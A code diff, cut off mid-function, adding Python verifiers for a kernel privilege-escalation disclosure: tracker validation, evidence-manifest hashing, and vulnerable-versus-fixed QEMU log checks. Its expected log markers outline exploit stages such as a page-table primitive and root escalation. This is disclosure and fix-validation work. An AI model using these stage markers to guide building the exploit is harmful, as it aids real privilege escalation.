-0,0 +1,226 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import re +from urllib.parse import urlparse + +from .strictjson import expect_keys, expect_list, expect_object, expect_string, load_object +from .targets import validate_target_matrix + + +_STATUS = {"not_accepted", "accepted"} +_CVE_STATUS = {"not_assigned", "requested", "assigned", "rejected"} +_RETEST_STATUS = {"awaiting_vendor_fix", "fixed_confirmed", "still_vulnerable", "inconclusive"} +_BASELINE_STATUS = {"vulnerable_confirmed", "runtime_negative", "not_tested"} + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _nullable_string(value: object, field: str) -> str | None: + if value is None: + return None + return expect_string(value, field) + + +def _https(value: object, field: str) -> str: + text = expect_string(value, field) + parsed = urlparse(text) + if parsed.scheme != "https" or not parsed.netloc: + raise ValueError(f"{field} must be an HTTPS URL") + return text + + +def _string_list(value: object, field: str) -> list[str]: + rows = expect_list(value, field) + result = [expect_string(row, f"{field}[{index}]") for index, row in enumerate(rows)] + if len(result) != len(set(result)): + raise ValueError(f"{field} contains duplicates") + return result + + +def verify_disclosure_tracker( + tracker_path: Path, + matrix_path: Path, + backend_registry: Path, +) -> dict[str, object]: + source = tracker_path.resolve(strict=True) + payload = load_object(source) + expect_keys( + payload, + "disclosure tracker", + required={ + "schema_version", + "finding_id", + "visibility", + "embargo_status", + "publication_date", + "upstream", + "accepted_fix", + "cve", + "stable_backports", + "vendor_advisories", + "retests", + "next_actions", + "boundary", + }, + ) + if payload["schema_version"] != 1: + raise ValueError("unsupported disclosure tracker schema") + finding_id = expect_string(payload["finding_id"], "finding_id") + if re.fullmatch(r"[A-Z0-9][A-Z0-9._-]{2,95}", finding_id) is None: + raise ValueError("finding_id is not canonical") + visibility = expect_string(payload["visibility"], "visibility") + embargo = expect_string(payload["embargo_status"], "embargo_status") + if visibility not in {"private", "coordinated", "public"}: + raise ValueError("unsupported visibility") + if embargo not in {"active", "not_embargoed", "lifted"}: + raise ValueError("unsupported embargo_status") + publication_date = expect_string(payload["publication_date"], "publication_date") + if re.fullmatch(r"\d{4}-\d{2}-\d{2}", publication_date) is None: + raise ValueError("publication_date must be YYYY-MM-DD") + if visibility == "public" and embargo == "active": + raise ValueError("public findings cannot have an active embargo") + + upstream = expect_object(payload["upstream"], "upstream") + expect_keys( + upstream, + "upstream", + required={ + "bug_url", + "candidate_patch_url", + "submission_status", + "maintainer_feedback", + }, + ) + _https(upstream["bug_url"], "upstream.bug_url") + _https(upstream["candidate_patch_url"], "upstream.candidate_patch_url") + expect_string(upstream["submission_status"], "upstream.submission_status") + _string_list(upstream["maintainer_feedback"], "upstream.maintainer_feedback") + + accepted = expect_object(payload["accepted_fix"], "accepted_fix") + expect_keys(accepted, "accepted_fix", required={"status", "commit", "release"}) + accepted_status = expect_string(accepted["status"], "accepted_fix.status") + if accepted_status not in _STATUS: + raise ValueError("unsupported accepted_fix.status") + commit = _nullable_string(accepted["commit"], "accepted_fix.commit") + release = _nullable_string(accepted["release"], "accepted_fix.release") + if accepted_status == "accepted": + if commit is None or re.fullmatch(r"[0-9a-f]{40}", commit) is None: + raise ValueError("accepted fixes require a full commit id") + elif commit is not None or release is not None: + raise ValueError("unaccepted fixes cannot name a commit or release") + + cve = expect_object(payload["cve"], "cve") + expect_keys(cve, "cve", required={"status", "id", "last_checked"}) + cve_status = expect_string(cve["status"], "cve.status") + if cve_status not in _CVE_STATUS: + raise ValueError("unsupported cve.status") + cve_id = _nullable_string(cve["id"], "cve.id") + if cve_status == "assigned": + if cve_id is None or re.fullmatch(r"CVE-\d{4}-\d{4,}", cve_id) is None: + raise ValueError("assigned CVE state requires a canonical CVE id") + elif cve_id is not None: + raise ValueError("unassigned CVE state cannot name an id") + last_checked = expect_string(cve["last_checked"], "cve.last_checked") + if re.fullmatch(r"\d{4}-\d{2}-\d{2}", last_checked) is None: + raise ValueError("cve.last_checked must be YYYY-MM-DD") + + backports = expect_list(payload["stable_backports"], "stable_backports") + for index, value in enumerate(backports): + row = expect_object(value, f"stable_backports[{index}]") + expect_keys( + row, + f"stable_backports[{index}]", + required={"tree", "commit", "status", "evidence_url"}, + ) + expect_string(row["tree"], f"stable_backports[{index}].tree") + if re.fullmatch(r"[0-9a-f]{40}", expect_string(row["commit"], f"stable_backports[{index}].commit")) is None: + raise ValueError(f"stable_backports[{index}].commit is not full length") + expect_string(row["status"], f"stable_backports[{index}].status") + _https(row["evidence_url"], f"stable_backports[{index}].evidence_url") + + advisories = expect_list(payload["vendor_advisories"], "vendor_advisories") + for index, value in enumerate(advisories): + row = expect_object(value, f"vendor_advisories[{index}]") + expect_keys( + row, + f"vendor_advisories[{index}]", + required={"vendor", "identifier", "url", "status"}, + ) + expect_string(row["vendor"], f"vendor_advisories[{index}].vendor") + expect_string(row["identifier"], f"vendor_advisories[{index}].identifier") + _https(row["url"], f"vendor_advisories[{index}].url") + expect_string(row["status"], f"vendor_advisories[{index}].status") + + matrix = validate_target_matrix(matrix_path, backend_registry) + confirmed_ids = { + str(row["id"]) + for row in matrix["targets"] + if row["classification"] == "runtime_confirmed" + } + retests = expect_list(payload["retests"], "retests") + retest_ids: set[str] = set() + for index, value in enumerate(retests): + row = expect_object(value, f"retests[{index}]") + expect_keys( + row, + f"retests[{index}]", + required={ + "target_id", + "baseline_status", + "fixed_package", + "retest_status", + }, + ) + target_id = expect_string(row["target_id"], f"retests[{index}].target_id") + if target_id in retest_ids: + raise ValueError(f"duplicate retest target: {target_id}") + retest_ids.add(target_id) + baseline = expect_string(row["baseline_status"], f"retests[{index}].baseline_status") + status = expect_string(row["retest_status"], f"retests[{index}].retest_status") + if baseline not in _BASELINE_STATUS or status not in _RETEST_STATUS: + raise ValueError(f"retests[{index}] has unsupported status") + fixed_package = _nullable_string(row["fixed_package"], f"retests[{index}].fixed_package") + if status == "fixed_confirmed" and fixed_package is None: + raise ValueError("fixed-confirmed retests require a package identity") + if retest_ids != confirmed_ids: + missing = sorted(confirmed_ids - retest_ids) + unknown = sorted(retest_ids - confirmed_ids) + raise ValueError(f"retest coverage differs: missing={missing}, unknown={unknown}") + + next_actions = _string_list(payload["next_actions"], "next_actions") + boundary = expect_string(payload["boundary"], "boundary") + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow disclosure and backport tracker verification", + "passed": True, + "tracker": str(source), + "tracker_sha256": _sha256(source), + "finding_id": finding_id, + "visibility": visibility, + "embargo_status": embargo, + "publication_date": publication_date, + "upstream": upstream, + "accepted_fix": accepted, + "cve": cve, + "stable_backports": backports, + "vendor_advisories": advisories, + "retests": retests, + "summary": { + "runtime_targets_tracked": len(confirmed_ids), + "fixed_retests": sum(row["retest_status"] == "fixed_confirmed" for row in retests), + "stable_backport_count": len(backports), + "vendor_advisory_count": len(advisories), + "open_action_count": len(next_actions), + }, + "next_actions": next_actions, + "boundary": boundary, + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/evidence.py b/dirty-crow-xarray-lpe/framework/dirtycrow/evidence.py new file mode 100644 index 0000000..81331b2 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/evidence.py @@ -0,0 +1,251 @@ +from __future__ import annotations + +import hashlib +import json +from dataclasses import dataclass +from pathlib import Path, PurePosixPath, PureWindowsPath +from typing import Any + +from .strictjson import ( + expect_int, + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, +) + + +_MANIFEST_KEYS = { + "schema_version", + "files", + "title", + "source", + "claim_boundary", + "release_id", + "created_utc", + "target", + "geometry", + "expected_markers", + "boundary", + "canonical_payload_sha256", + "closed_world", +} + + +@dataclass(frozen=True) +class Verification: + path: str + expected_sha256: str + actual_sha256: str | None + expected_size: int + actual_size: int | None + + @property + def hash_passed(self) -> bool: + return self.actual_sha256 == self.expected_sha256 + + @property + def size_passed(self) -> bool: + return self.actual_size == self.expected_size + + @property + def passed(self) -> bool: + return self.hash_passed and self.size_passed + + def as_dict(self) -> dict[str, Any]: + return { + "path": self.path, + "expected_sha256": self.expected_sha256, + "actual_sha256": self.actual_sha256, + "expected_size": self.expected_size, + "actual_size": self.actual_size, + "hash_passed": self.hash_passed, + "size_passed": self.size_passed, + "passed": self.passed, + } + + +def sha256_file(path: Path, chunk_size: int = 1024 * 1024) -> str: + digest = hashlib.sha256() + with path.open("rb") as stream: + while chunk := stream.read(chunk_size): + digest.update(chunk) + return digest.hexdigest() + + +def _portable_path(value: object, field: str) -> str: + text = expect_string(value, field) + pure = PurePosixPath(text) + if ( + pure.is_absolute() + or PureWindowsPath(text).drive + or not pure.parts + or ".." in pure.parts + or "\\" in text + or pure.as_posix() != text + ): + raise ValueError(f"{field} must be a normalized relative POSIX path") + return text + + +def load_manifest(path: Path) -> dict[str, Any]: + manifest = load_object(path) + expect_keys( + manifest, + "manifest", + required={"schema_version", "files"}, + optional=_MANIFEST_KEYS - {"schema_version", "files"}, + ) + schema_version = expect_int(manifest["schema_version"], "schema_version", 1, 2) + files = expect_list(manifest["files"], "files") + if not files: + raise ValueError("manifest files must be a non-empty array") + if schema_version == 2 and "closed_world" not in manifest: + raise ValueError("schema version 2 requires closed_world") + if "closed_world" in manifest and not isinstance(manifest["closed_world"], bool): + raise ValueError("closed_world must be boolean") + if "canonical_payload_sha256" in manifest: + expect_sha256( + manifest["canonical_payload_sha256"], + "canonical_payload_sha256", + ) + for field in ("title", "source", "claim_boundary", "release_id", "boundary"): + if field in manifest: + expect_string(manifest[field], field) + + seen: set[str] = set() + for index, value in enumerate(files): + item = expect_object(value, f"files[{index}]") + expect_keys( + item, + f"files[{index}]", + required={"path", "sha256", "size"}, + optional={"role", "executable"}, + ) + relative = _portable_path(item["path"], f"files[{index}].path") + path_key = relative.casefold() + if path_key in seen: + raise ValueError(f"duplicate manifest path: {relative}") + seen.add(path_key) + expect_sha256(item["sha256"], f"files[{index}].sha256") + expect_int(item["size"], f"files[{index}].size", 0, (1 << 63) - 1) + if "role" in item: + expect_string(item["role"], f"files[{index}].role") + if "executable" in item and not isinstance(item["executable"], bool): + raise ValueError(f"files[{index}].executable must be boolean") + return manifest + + +def _canonical_manifest_hash(manifest: dict[str, Any]) -> str: + unsigned = dict(manifest) + unsigned.pop("canonical_payload_sha256", None) + rendered = json.dumps(unsigned, sort_keys=True, separators=(",", ":")) + return hashlib.sha256(rendered.encode("utf-8")).hexdigest() + + +def verify_manifest(manifest_path: Path, root: Path | None = None) -> dict[str, Any]: + manifest_path = manifest_path.resolve(strict=True) + root = (root or manifest_path.parent).resolve(strict=True) + if not root.is_dir(): + raise ValueError(f"manifest root is not a directory: {root}") + manifest = load_manifest(manifest_path) + checks: list[Verification] = [] + listed: set[str] = set() + + for index, value in enumerate(manifest["files"]): + item = expect_object(value, f"files[{index}]") + relative_text = _portable_path(item["path"], f"files[{index}].path") + relative = PurePosixPath(relative_text) + listed.add(relative_text.casefold()) + target = (root / Path(*relative.parts)).resolve() + if root != target and root not in target.parents: + raise ValueError(f"manifest path escapes root: {relative_text}") + if not target.is_file(): + checks.append( + Verification( + relative_text, + expect_sha256(item["sha256"], f"files[{index}].sha256"), + None, + expect_int( + item["size"], + f"files[{index}].size", + 0, + (1 << 63) - 1, + ), + None, + ) + ) + continue + checks.append( + Verification( + path=relative_text, + expected_sha256=expect_sha256( + item["sha256"], f"files[{index}].sha256" + ), + actual_sha256=sha256_file(target), + expected_size=expect_int( + item["size"], + f"files[{index}].size", + 0, + (1 << 63) - 1, + ), + actual_size=target.stat().st_size, + ) + ) + + expected_canonical = manifest.get("canonical_payload_sha256") + actual_canonical = ( + _canonical_manifest_hash(manifest) if expected_canonical is not None else None + ) + canonical_passed = ( + actual_canonical == expected_canonical if expected_canonical is not None else None + ) + + completeness_required = bool(manifest.get("closed_world", False)) + unlisted: list[str] = [] + if completeness_required: + controls: set[str] = set() + try: + manifest_relative = manifest_path.relative_to(root).as_posix() + except ValueError: + manifest_relative = None + if manifest_relative is not None: + controls.add(manifest_relative.casefold()) + controls.add((manifest_relative + ".minisig").casefold()) + for candidate in root.rglob("*"): + if not candidate.is_file(): + continue + resolved = candidate.resolve(strict=True) + if root != resolved and root not in resolved.parents: + raise ValueError(f"bundle file resolves outside root: {candidate}") + relative = resolved.relative_to(root).as_posix() + if relative.casefold() not in listed | controls: + unlisted.append(relative) + unlisted.sort(key=str.casefold) + completeness_passed = not unlisted if completeness_required else None + byte_integrity_passed = all(check.passed for check in checks) + passed = ( + byte_integrity_passed + and canonical_passed is not False + and completeness_passed is not False + ) + + return { + "schema_version": 2, + "manifest": str(manifest_path), + "root": str(root), + "passed": passed, + "schema_validated": True, + "byte_integrity_passed": byte_integrity_passed, + "canonical_payload_passed": canonical_passed, + "completeness": { + "required": completeness_required, + "passed": completeness_passed, + "unlisted": unlisted, + }, + "check_count": len(checks), + "failed": [check.path for check in checks if not check.passed], + "checks": [check.as_dict() for check in checks], + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/fix_validation.py b/dirty-crow-xarray-lpe/framework/dirtycrow/fix_validation.py new file mode 100644 index 0000000..2a0d4a3 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/fix_validation.py @@ -0,0 +1,739 @@ +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +import re + +from .strictjson import ( + expect_int, + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, +) + + +class FixValidationError(ValueError): + """A fix-validation artifact violates the matched A/B proof contract.""" + + +@dataclass(frozen=True) +class VerifiedArtifact: + relative_path: str + path: Path + sha256: str + + def record(self) -> dict[str, object]: + return { + "path": self.relative_path, + "sha256": self.sha256, + "size": self.path.stat().st_size, + } + + +_CRASH = re.compile( + r"BUG:|WARNING:|Oops:|Kernel panic|bad[- ]pmd|Bad page|KASAN:|UBSAN:", + re.IGNORECASE, +) +_DCO_STATUS = {"awaiting_reporter_confirmation", "signed_off", "unsigned_draft"} +_VULNERABLE_MARKERS = ( + "HARNESS_PRECONDITION root_proof=created post_root=absent child_uid=65534 child_gid=65534", + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 gid=65534 egid=65534 sgid=65534 nnp=1", + "EXPLOIT_CAPS capget_rc=0 effective=0", + "PRE_ROOT_PROOF required=0 open=0 errno=13", + "PAGE_TABLE_PRIMITIVE ", + "ARBITRARY_PHYSICAL_RW ", + "write_ok=1", + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0", + "ROOT_PROOF required=0 open=1", + "POST_ROOT_CREATE ", + "created=1 uid=0 gid=0 mode=0400", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0", + "HARNESS_CHILD_EXIT status=0", + "reboot: Power down", +) +_FIXED_FORBIDDEN = ( + "PAGE_TABLE_PRIMITIVE ", + "ARBITRARY_PHYSICAL_RW ", + "ROOT_IDENTITY uid=0", + "POST_ROOT_CREATE ", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED", +) + + +def _object(value: object, field: str) -> dict[str, object]: + return expect_object(value, field, FixValidationError) + + +def _string(value: object, field: str) -> str: + return expect_string(value, field, FixValidationError) + + +def _sha256(value: object, field: str) -> str: + return expect_sha256(value, field, FixValidationError) +def _git_oid(value: object, field: str) -> str: + oid = _string(value, field).lower() + if re.fullmatch(r"(?:[0-9a-f]{40}|[0-9a-f]{64})", oid) is None: + raise FixValidationError(f"{field} must be a full Git object ID") + return oid + + + + +def _integer(value: object, field: str, minimum: int = 0) -> int: + return expect_int(value, field, minimum, 2**63 - 1, FixValidationError) + + +def _true(value: object, field: str) -> None: + if value is not True: + raise FixValidationError(f"{field} must be true") + + +def _artifact(value: object, field: str, root: Path) -> VerifiedArtifact: + payload = _object(value, field) + expect_keys( + payload, + field, + required={"path", "sha256"}, + error_type=FixValidationError, + ) + relative_path = _string(payload["path"], f"{field}.path").replace("\\", "/") + path = resolve_beneath_file(root, relative_path, f"{field}.path", FixValidationError) + expected = _sha256(payload["sha256"], f"{field}.sha256") + actual = sha256_file(path) + if actual != expected: + raise FixValidationError( + f"{field} hash mismatch: expected {expected}, observed {actual}" + ) + return VerifiedArtifact(relative_path, path, expected) + + +def _ordered(text: str, markers: tuple[str, ...], field: str) -> None: + position = 0 + for marker in markers: + found = text.find(marker, position) + if found < 0: + raise FixValidationError(f"{field} missing or misordered marker: {marker}") + position = found + len(marker) + + +def _read_clean_log(artifact: VerifiedArtifact, field: str) -> str: + text = artifact.path.read_text(encoding="utf-8", errors="replace") + fault = _CRASH.search(text) + if fault is not None: + raise FixValidationError(f"{field} contains kernel fault marker: {fault.group(0)}") + return text + + +def _verify_patches( + value: object, root: Path +) -> tuple[list[dict[str, object]], list[VerifiedArtifact]]: + rows = expect_list(value, "patches", FixValidationError) + if len(rows) != 2: + raise FixValidationError("patches must contain the fix and regression test") + expected_purposes = ("candidate fix", "regression test") + records: list[dict[str, object]] = [] + artifacts: list[VerifiedArtifact] = [] + for index, value_row in enumerate(rows): + field = f"patches[{index}]" + row = _object(value_row, field) + expect_keys( + row, + field, + required={"order", "path", "sha256", "purpose"}, + error_type=FixValidationError, + ) + order = _integer(row["order"], f"{field}.order", 1) + if order != index + 1: + raise FixValidationError(f"{field}.order must be {index + 1}") + purpose = _string(row["purpose"], f"{field}.purpose") + if purpose != expected_purposes[index]: + raise FixValidationError( + f"{field}.purpose must be {expected_purposes[index]!r}" + ) + artifact = _artifact( + {"path": row["path"], "sha256": row["sha256"]}, field, root + ) + artifacts.append(artifact) + records.append({"order": order, "purpose": purpose, **artifact.record()}) + return records, artifacts + + +def _verify_deterministic( + value: object, root: Path +) -> tuple[dict[str, object], list[VerifiedArtifact]]: + payload = _object(value, "deterministic") + expect_keys( + payload, + "deterministic", + required={"source", "toolchain", "vulnerable", "fixed", "result"}, + error_type=FixValidationError, + ) + source = _object(payload["source"], "deterministic.source") + expect_keys( + source, + "deterministic.source", + required={ + "repository", + "tag", + "commit", + "test_source_sha256", + "fixed_xarray_source_sha256", + }, + error_type=FixValidationError, + ) + source_record = { + "repository": _string(source["repository"], "deterministic.source.repository"), + "tag": _string(source["tag"], "deterministic.source.tag"), + "commit": _git_oid(source["commit"], "deterministic.source.commit"), + "test_source_sha256": _sha256( + source["test_source_sha256"], "deterministic.source.test_source_sha256" + ), + "fixed_xarray_source_sha256": _sha256( + source["fixed_xarray_source_sha256"], + "deterministic.source.fixed_xarray_source_sha256", + ), + } + toolchain = _object(payload["toolchain"], "deterministic.toolchain") + expect_keys( + toolchain, + "deterministic.toolchain", + required={"compiler", "make_target", "sanitizers"}, + error_type=FixValidationError, + ) + sanitizers = [ + _string(item, f"deterministic.toolchain.sanitizers[{index}]") + for index, item in enumerate( + expect_list( + toolchain["sanitizers"], + "deterministic.toolchain.sanitizers", + FixValidationError, + ) + ) + ] + if sanitizers != ["address", "undefined"]: + raise FixValidationError( + "deterministic.toolchain.sanitizers must be address then undefined" + ) + + artifacts: list[VerifiedArtifact] = [] + runs: dict[str, dict[str, object]] = {} + for role, expected_exit in (("vulnerable", 134), ("fixed", 0)): + field = f"deterministic.{role}" + run = _object(payload[role], field) + expect_keys( + run, + field, + required={"binary", "log", "exit_status", "observed"}, + error_type=FixValidationError, + ) + binary = _artifact(run["binary"], f"{field}.binary", root) + log = _artifact(run["log"], f"{field}.log", root) + artifacts.extend((binary, log)) + exit_status = _integer(run["exit_status"], f"{field}.exit_status") + if exit_status != expected_exit: + raise FixValidationError(f"{field}.exit_status must be {expected_exit}") + text = log.path.read_text(encoding="utf-8", errors="replace") + if role == "vulnerable": + if "check_multi_find_4: Assertion `0' failed" not in text: + raise FixValidationError( + "deterministic.vulnerable.log lacks the expected assertion" + ) + elif "XArray: 159585972 of 159585972 tests passed" not in text: + raise FixValidationError( + "deterministic.fixed.log lacks the complete passing test count" + ) + runs[role] = { + "binary": binary.record(), + "log": log.record(), + "exit_status": exit_status, + "observed": _string(run["observed"], f"{field}.observed"), + } + + result = _object(payload["result"], "deterministic.result") + expect_keys( + result, + "deterministic.result", + required={"passed", "invariant", "total_checks"}, + error_type=FixValidationError, + ) + _true(result["passed"], "deterministic.result.passed") + total_checks = _integer( + result["total_checks"], "deterministic.result.total_checks", 1 + ) + if total_checks != 159585972: + raise FixValidationError("deterministic.result.total_checks is unexpected") + return ( + { + "passed": True, + "source": source_record, + "toolchain": { + "compiler": _string( + toolchain["compiler"], "deterministic.toolchain.compiler" + ), + "make_target": _string( + toolchain["make_target"], "deterministic.toolchain.make_target" + ), + "sanitizers": sanitizers, + }, + "vulnerable": runs["vulnerable"], + "fixed": runs["fixed"], + "total_checks": total_checks, + "invariant": _string( + result["invariant"], "deterministic.result.invariant" + ), + }, + artifacts, + ) + + +def _verify_trial( + value: object, + field: str, + role: str, + root: Path, + kernel_release: str, + rounds: int, +) -> tuple[dict[str, object], list[VerifiedArtifact]]: + payload = _object(value, field) + expect_keys( + payload, + field, + required={ + "name", + "kernel", + "serial_log", + "qemu_exit_code", + "classification", + "primitive_round", + }, + error_type=FixValidationError, + ) + kernel = _artifact(payload["kernel"], f"{field}.kernel", root) + serial = _artifact(payload["serial_log"], f"{field}.serial_log", root) + qemu_exit_code = _integer(payload["qemu_exit_code"], f"{field}.qemu_exit_code") + if qemu_exit_code != 0: + raise FixValidationError(f"{field}.qemu_exit_code must be zero") + text = _read_clean_log(serial, f"{field}.serial_log") + release_marker = f"KERNEL_RELEASE {kernel_release}" + if release_marker not in text: + raise FixValidationError(f"{field} lacks {release_marker!r}") + + primitive_round: int | None + if role == "vulnerable": + if payload["classification"] != "lpe_confirmed": + raise FixValidationError(f"{field}.classification must be lpe_confirmed") + _ordered(text, _VULNERABLE_MARKERS, f"{field}.serial_log") + match = re.search(r"^PAGE_TABLE_PRIMITIVE round=([0-9]+)\b", text, re.MULTILINE) + if match is None: + raise FixValidationError(f"{field} lacks a primitive round") + primitive_round = _integer(payload["primitive_round"], f"{field}.primitive_round") + if primitive_round != int(match.group(1)): + raise FixValidationError(f"{field}.primitive_round does not match the log") + else: + if payload["classification"] != "no_primitive_observed": + raise FixValidationError( + f"{field}.classification must be no_primitive_observed" + ) + if payload["primitive_round"] is not None: + raise FixValidationError(f"{field}.primitive_round must be null") + primitive_round = None + required = ( + "HARNESS_PRECONDITION root_proof=created post_root=absent child_uid=65534 child_gid=65534", + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 gid=65534 egid=65534 sgid=65534 nnp=1", + "EXPLOIT_CAPS capget_rc=0 effective=0", + f"PRIMITIVE_NOT_OBSERVED rounds={rounds}", + "reboot: Power down", + ) + _ordered(text, required, f"{field}.serial_log") + for marker in _FIXED_FORBIDDEN: + if marker in text: + raise FixValidationError( + f"{field}.serial_log contains forbidden proof marker: {marker}" + ) + + return ( + { + "name": _string(payload["name"], f"{field}.name"), + "classification": payload["classification"], + "primitive_round": primitive_round, + "qemu_exit_code": qemu_exit_code, + "kernel": kernel.record(), + "serial_log": serial.record(), + }, + [kernel, serial], + ) + + +def _verify_full_kernel( + value: object, root: Path +) -> tuple[dict[str, object], list[VerifiedArtifact]]: + payload = _object(value, "full_kernel") + expect_keys( + payload, + "full_kernel", + required={ + "source", + "build", + "qemu", + "vulnerable_trials", + "fixed_trials", + "result", + }, + error_type=FixValidationError, + ) + artifacts: list[VerifiedArtifact] = [] + source = _object(payload["source"], "full_kernel.source") + expect_keys( + source, + "full_kernel.source", + required={ + "repository", + "tag", + "commit", + "package_config", + "vulnerable_xarray_sha256", + "fixed_xarray_sha256", + }, + error_type=FixValidationError, + ) + package_config = _artifact( + source["package_config"], "full_kernel.source.package_config", root + ) + artifacts.append(package_config) + source_record = { + "repository": _string(source["repository"], "full_kernel.source.repository"), + "tag": _string(source["tag"], "full_kernel.source.tag"), + "commit": _git_oid(source["commit"], "full_kernel.source.commit"), + "package_config": package_config.record(), + "vulnerable_xarray_sha256": _sha256( + source["vulnerable_xarray_sha256"], + "full_kernel.source.vulnerable_xarray_sha256", + ), + "fixed_xarray_sha256": _sha256( + source["fixed_xarray_sha256"], "full_kernel.source.fixed_xarray_sha256" + ), + } + if source_record["vulnerable_xarray_sha256"] == source_record["fixed_xarray_sha256"]: + raise FixValidationError("full-kernel XArray source hashes must differ") + + build = _object(payload["build"], "full_kernel.build") + expect_keys( + build, + "full_kernel.build", + required={ + "config", + "vulnerable_config", + "fixed_config", + "config_normalization", + "compiler", + "linker", + "kernel_release", + "environment", + "vulnerable_build_log", + "fixed_build_log", + "vulnerable_signing_certificate", + "fixed_signing_certificate", + "vulnerable_compile_metadata", + "fixed_compile_metadata", + }, + error_type=FixValidationError, + ) + config = _artifact(build["config"], "full_kernel.build.config", root) + vulnerable_config = _artifact( + build["vulnerable_config"], "full_kernel.build.vulnerable_config", root + ) + fixed_config = _artifact( + build["fixed_config"], "full_kernel.build.fixed_config", root + ) + normalization = _artifact( + build["config_normalization"], "full_kernel.build.config_normalization", root + ) + vulnerable_build_log = _artifact( + build["vulnerable_build_log"], "full_kernel.build.vulnerable_build_log", root + ) + fixed_build_log = _artifact( + build["fixed_build_log"], "full_kernel.build.fixed_build_log", root + ) + vulnerable_certificate = _artifact( + build["vulnerable_signing_certificate"], + "full_kernel.build.vulnerable_signing_certificate", + root, + ) + fixed_certificate = _artifact( + build["fixed_signing_certificate"], + "full_kernel.build.fixed_signing_certificate", + root, + ) + vulnerable_compile = _artifact( + build["vulnerable_compile_metadata"], + "full_kernel.build.vulnerable_compile_metadata", + root, + ) + fixed_compile = _artifact( + build["fixed_compile_metadata"], + "full_kernel.build.fixed_compile_metadata", + root, + ) + artifacts.extend( + ( + config, + vulnerable_config, + fixed_config, + normalization, + vulnerable_build_log, + fixed_build_log, + vulnerable_certificate, + fixed_certificate, + vulnerable_compile, + fixed_compile, + ) + ) + if not ( + config.sha256 == vulnerable_config.sha256 == fixed_config.sha256 + ): + raise FixValidationError("full-kernel build configs are not byte-identical") + if vulnerable_certificate.sha256 != fixed_certificate.sha256: + raise FixValidationError( + "full-kernel module-signing certificates are not byte-identical" + ) + if vulnerable_compile.sha256 != fixed_compile.sha256: + raise FixValidationError( + "full-kernel compile metadata is not byte-identical" + ) + for field, log in ( + ("full_kernel.build.vulnerable_build_log", vulnerable_build_log), + ("full_kernel.build.fixed_build_log", fixed_build_log), + ): + text = log.path.read_text(encoding="utf-8", errors="replace") + if "Kernel: arch/x86/boot/bzImage is ready" not in text: + raise FixValidationError(f"{field} lacks a completed kernel image") + normalization_text = normalization.path.read_text( + encoding="utf-8", errors="replace" + ) + if 'LOCALVERSION "" -> "-dirtycrow-ab"' not in normalization_text: + raise FixValidationError( + "full_kernel.build.config_normalization lacks the release suffix change" + ) + + environment = _object(build["environment"], "full_kernel.build.environment") + expect_keys( + environment, + "full_kernel.build.environment", + required={ + "KBUILD_BUILD_TIMESTAMP", + "KBUILD_BUILD_USER", + "KBUILD_BUILD_HOST", + "KBUILD_BUILD_VERSION", + "SOURCE_DATE_EPOCH", + }, + error_type=FixValidationError, + ) + environment_record = { + key: _string(value, f"full_kernel.build.environment.{key}") + for key, value in environment.items() + } + kernel_release = _string(build["kernel_release"], "full_kernel.build.kernel_release") + build_record = { + "config": config.record(), + "vulnerable_config": vulnerable_config.record(), + "fixed_config": fixed_config.record(), + "config_normalization": normalization.record(), + "compiler": _string(build["compiler"], "full_kernel.build.compiler"), + "linker": _string(build["linker"], "full_kernel.build.linker"), + "kernel_release": kernel_release, + "environment": environment_record, + "vulnerable_build_log": vulnerable_build_log.record(), + "fixed_build_log": fixed_build_log.record(), + "vulnerable_signing_certificate": vulnerable_certificate.record(), + "fixed_signing_certificate": fixed_certificate.record(), + "vulnerable_compile_metadata": vulnerable_compile.record(), + "fixed_compile_metadata": fixed_compile.record(), + "same_config": True, + "same_signing_certificate": True, + "same_compile_metadata": True, + } + + qemu = _object(payload["qemu"], "full_kernel.qemu") + expect_keys( + qemu, + "full_kernel.qemu", + required={ + "version", + "binary_sha256", + "initramfs", + "geometry", + "kernel_command_line", + "rounds", + }, + error_type=FixValidationError, + ) + initramfs = _artifact(qemu["initramfs"], "full_kernel.qemu.initramfs", root) + artifacts.append(initramfs) + geometry = _object(qemu["geometry"], "full_kernel.qemu.geometry") + expect_keys( + geometry, + "full_kernel.qemu.geometry", + required={"machine", "acceleration", "cpu", "cpus", "memory_mib", "page_size"}, + error_type=FixValidationError, + ) + rounds = _integer(qemu["rounds"], "full_kernel.qemu.rounds", 1) + qemu_record = { + "version": _string(qemu["version"], "full_kernel.qemu.version"), + "binary_sha256": _sha256( + qemu["binary_sha256"], "full_kernel.qemu.binary_sha256" + ), + "initramfs": initramfs.record(), + "geometry": { + "machine": _string(geometry["machine"], "full_kernel.qemu.geometry.machine"), + "acceleration": _string( + geometry["acceleration"], "full_kernel.qemu.geometry.acceleration" + ), + "cpu": _string(geometry["cpu"], "full_kernel.qemu.geometry.cpu"), + "cpus": _integer(geometry["cpus"], "full_kernel.qemu.geometry.cpus", 1), + "memory_mib": _integer( + geometry["memory_mib"], "full_kernel.qemu.geometry.memory_mib", 128 + ), + "page_size": _integer( + geometry["page_size"], "full_kernel.qemu.geometry.page_size", 4096 + ), + }, + "kernel_command_line": _string( + qemu["kernel_command_line"], "full_kernel.qemu.kernel_command_line" + ), + "rounds": rounds, + } + + trial_records: dict[str, list[dict[str, object]]] = {} + kernel_hashes: dict[str, set[str]] = {} + for role in ("vulnerable", "fixed"): + field = f"full_kernel.{role}_trials" + rows = expect_list(payload[f"{role}_trials"], field, FixValidationError) + if not rows: + raise FixValidationError(f"{field} must not be empty") + records: 